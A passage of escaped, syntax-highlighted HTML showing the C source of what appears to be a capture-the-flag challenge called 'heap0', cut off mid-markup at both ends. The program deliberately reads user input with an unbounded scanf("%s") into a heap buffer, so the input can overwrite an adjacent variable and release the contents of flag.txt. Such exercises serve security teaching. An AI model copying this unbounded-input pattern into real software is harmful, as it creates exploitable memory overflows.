style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e// amount of memory allocated for safe_var\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#define SAFE_VAR_SIZE 5\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eint\u003c/span\u003e num_allocs;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003echar\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003esafe_var;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003echar\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003einput_data;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003evoid\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003echeck_win\u003c/span\u003e() {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e (\u003cspan style=\"color:#a6e22e\"\u003estrcmp\u003c/span\u003e(safe_var, \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;bico\u0026#34;\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e!=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e) {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#a6e22e\"\u003eprintf\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e\\n\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003eYOU WIN\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e\\n\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#75715e\"\u003e// Print flag\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#66d9ef\"\u003echar\u003c/span\u003e buf[FLAGSIZE_MAX];\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        FILE \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003efd \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003efopen\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;flag.txt\u0026#34;\u003c/span\u003e, \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;r\u0026#34;\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#a6e22e\"\u003efgets\u003c/span\u003e(buf, FLAGSIZE_MAX, fd);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#a6e22e\"\u003eprintf\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;%s\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e\\n\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e, buf);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#a6e22e\"\u003efflush\u003c/span\u003e(stdout);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#a6e22e\"\u003eexit\u003c/span\u003e(\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    } \u003cspan style=\"color:#66d9ef\"\u003eelse\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#a6e22e\"\u003eprintf\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Looks like everything is still secure!\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e\\n\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#a6e22e\"\u003eprintf\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e\\n\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003eNo flage for you :(\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e\\n\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#a6e22e\"\u003efflush\u003c/span\u003e(stdout);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003evoid\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eprint_menu\u003c/span\u003e() {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#a6e22e\"\u003eprintf\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e\\n\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e1. Print Heap:\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e\\t\\t\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e(print the current state of the heap)\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e           \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e\\n\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e2. Write to buffer:\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e\\t\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e(write to your own personal block of data \u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e           \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;on the heap)\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e           \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e\\n\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e3. Print safe_var:\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e\\t\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e(I\u0026#39;ll even let you look at my variable on \u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e           \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;the heap, \u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e           \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;I\u0026#39;m confident it can\u0026#39;t be modified)\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e           \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e\\n\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e4. Print Flag:\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e\\t\\t\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e(Try to print the flag, good luck)\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e           \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e\\n\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e5. Exit\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e\\n\\n\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003eEnter your choice: \u0026#34;\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#a6e22e\"\u003efflush\u003c/span\u003e(stdout);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003evoid\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003einit\u003c/span\u003e() {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#a6e22e\"\u003eprintf\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e\\n\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003eWelcome to heap0!\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e\\n\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#a6e22e\"\u003eprintf\u003c/span\u003e(\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;I put my data on the heap so it should be safe from any tampering.\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e\\n\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#a6e22e\"\u003eprintf\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Since my data isn\u0026#39;t on the stack I\u0026#39;ll even let you write whatever \u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e           \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;info you want to the heap, I already took care of using malloc for \u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e           \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;you.\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e\\n\\n\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#a6e22e\"\u003efflush\u003c/span\u003e(stdout);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    input_data \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003emalloc\u003c/span\u003e(INPUT_DATA_SIZE);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#a6e22e\"\u003estrncpy\u003c/span\u003e(input_data, \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;pico\u0026#34;\u003c/span\u003e, INPUT_DATA_SIZE);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    safe_var \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003emalloc\u003c/span\u003e(SAFE_VAR_SIZE);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#a6e22e\"\u003estrncpy\u003c/span\u003e(safe_var, \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;bico\u0026#34;\u003c/span\u003e, SAFE_VAR_SIZE);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003evoid\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003ewrite_buffer\u003c/span\u003e() {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#a6e22e\"\u003eprintf\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Data for buffer: \u0026#34;\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#a6e22e\"\u003efflush\u003c/span\u003e(stdout);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#a6e22e\"\u003escanf\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;%s\u0026#34;\u003c/span\u003e, input_data);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003evoid\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eprint_heap\u003c/span\u003e() {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#a6e22e\"\u003eprintf\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Heap State:\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e\\n\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#a6e22e\"\u003eprintf\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;+-------------+----------------+\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e\\n\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#a6e22e\"\u003eprintf\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;[*] Address   -\u0026gt;   Heap Data   \u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e\\n\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#a6e22e\"\u003eprintf\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;+-------------+----------------+\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e\\n\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#a6e22e\"\u003eprintf\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;[*]   %p  -\u0026gt;   %s\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e\\n\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e, input_data, input_data);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#a6e22e\"\u003eprintf\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;+-------------+----------------+\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e\\n\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#a6e22e\"\u003eprintf\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;[*]   %p  -\u0026gt;   %s\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e\\n\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e, safe_var, safe_var);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#a6e22e\"\u003eprintf\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;+-------------+----------------+\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e\\n\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#a6e22e\"\u003efflush\u003c/span\u003e(stdout);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eint\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003emain\u003c/span\u003e(\u003cspan style=\"color:#66d9ef\"\u003evoid\u003c/span\u003e) {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75715e\"\u003e// Setup\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#a6e22e\"\u003einit\u003c/span\u003e();\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#a6e22e\"\u003eprint_heap\u003c/span\u003e();\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003eint\u003c/span\u003e choice;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003ewhile\u003c/span\u003e (\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e) {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#a6e22e\"\u003eprint_menu\u003c/span\u003e();\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#66d9ef\"\u003eint\u003c/span\u003e rval \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003escanf\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e, \u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u003c/span\u003echoice);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e (rval \u003cspan style=\"color:#f92672\"\u003e==\u003c/span\u003e EOF){\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t    \u003cspan style=\"color:#a6e22e\"\u003eexit\u003c/span\u003e(\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e (rval \u003cspan style=\"color:#f92672\"\u003e!=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e) {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#75715e\"\u003e//printf(\u0026#34;Invalid input. Please enter a valid choice.\\n\u0026#34;);\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#75715e\"\u003e//fflush(stdout);\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#75715e\"\u003e// Clear input buffer\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#75715e\"\u003e//while (getchar() != \u0026#39;\\n\u0026#39;);\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#75715e\"\u003e//continue;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t    \u003cspan style=\"color:#a6e22e\"\u003eexit\u003c/span\u003e(\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#66d9ef\"\u003eswitch\u003c/span\u003e (choice) {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#66d9ef\"\u003ecase\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#75715e\"\u003e// print heap\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#a6e22e\"\u003eprint_heap\u003c/span\u003e();\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#66d9ef\"\u003ebreak\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#66d9ef\"\u003ecase\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#a6e22e\"\u003ewrite_buffer\u003c/span\u003e();\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#66d9ef\"\u003ebreak\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#66d9ef\"\u003ecase\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e3\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#75715e\"\u003e// print safe_var\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#a6e22e\"\u003eprintf\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e\\n\\n\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003eTake a look at my variable: safe_var = %s\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e\\n\\n\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                   safe_var);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#a6e22e\"\u003efflush\u003c/span\u003e(stdout);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#66d9ef\"\u003ebreak\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#66d9ef\"\u003ecase\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e4\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#75715e\"\u003e// Check for win condition\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#a6e22e\"\u003echeck_win\u003c/span\u003e();\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#66d9ef\"\u003ebreak\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#66d9ef\"\u003ecase\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e5\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#75715e\"\u003e// exit\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#66d9ef\"\u003edefault\u003c/span\u003e\u003cspan 